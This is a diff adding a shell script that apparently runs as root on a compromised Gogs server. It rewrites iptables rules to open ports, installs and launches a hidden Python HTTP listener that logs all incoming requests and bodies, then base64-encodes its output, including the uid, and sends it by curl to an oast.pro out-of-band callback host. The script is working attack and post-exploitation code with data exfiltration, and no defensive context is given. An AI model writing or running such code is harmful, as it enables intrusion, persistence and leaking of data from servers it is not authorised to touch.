|
|
@@ -0,0 +1,44 @@
|
|
|
+#!/bin/sh
|
|
|
+TAG="4392197"
|
|
|
+OUT="/root/gogs/data/tmp/local-repo/5878/_setup_$TAG.txt"
|
|
|
+{
|
|
|
+ echo "tag=$TAG uid=$(id)"
|
|
|
+ # open listener ports, keep 18082 as DROP blackhole
|
|
|
+ iptables -I INPUT -p tcp --dport 18081 -j ACCEPT 2>&1
|
|
|
+ iptables -I INPUT -p tcp --dport 18083 -j ACCEPT 2>&1
|
|
|
+ iptables -I INPUT -p tcp --dport 18082 -j DROP 2>&1
|
|
|
+ pkill -f pz_listener.py 2>/dev/null
|
|
|
+ sleep 1
|
|
|
+ cat > /root/pz_listener.py <<'PYEOF'
|
|
|
+import http.server, socketserver, time
|
|
|
+class H(http.server.BaseHTTPRequestHandler):
|
|
|
+ def _log(self, body=b''):
|
|
|
+ try:
|
|
|
+ with open('/root/pz_cb_18081.log','a') as f:
|
|
|
+ f.write('%s %s %s %s BODY=%r\n' % (time.strftime('%Y-%m-%dT%H:%M:%S', time.gmtime()), self.client_address[0], self.command + ' ' + self.path, dict(self.headers), body[:800]))
|
|
|
+ except Exception:
|
|
|
+ pass
|
|
|
+ def do_GET(self):
|
|
|
+ self._log(); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers(); self.wfile.write(b'ok')
|
|
|
+ def do_POST(self):
|
|
|
+ ln = int(self.headers.get('Content-Length') or 0)
|
|
|
+ body = self.rfile.read(ln) if ln else b''
|
|
|
+ self._log(body); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers(); self.wfile.write(b'ok')
|
|
|
+ def do_HEAD(self):
|
|
|
+ self._log(); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers()
|
|
|
+ def log_message(self, *a): pass
|
|
|
+socketserver.ThreadingTCPServer.allow_reuse_address = True
|
|
|
+httpd = socketserver.ThreadingTCPServer(('0.0.0.0', 18081), H)
|
|
|
+httpd.serve_forever()
|
|
|
+PYEOF
|
|
|
+ setsid nohup /usr/bin/python3 /root/pz_listener.py >/root/pz_listener.out 2>&1 < /dev/null &
|
|
|
+ sleep 2
|
|
|
+ echo "--- ps ---"; ps aux | grep pz_listener | grep -v grep
|
|
|
+ echo "--- local test ---"; curl -s -m 3 http://127.0.0.1:18081/selftest; echo
|
|
|
+ echo "--- iptables ---"; iptables -S INPUT | head -14
|
|
|
+ echo "--- listener out ---"; cat /root/pz_listener.out 2>&1
|
|
|
+ echo "--- log ---"; tail -5 /root/pz_cb_18081.log 2>&1
|
|
|
+} > "$OUT" 2>&1
|
|
|
+D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
|
|
|
+curl -s -m 15 -o /dev/null "http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/setup2/$TAG/$D" || true
|
|
|
+exit 0
|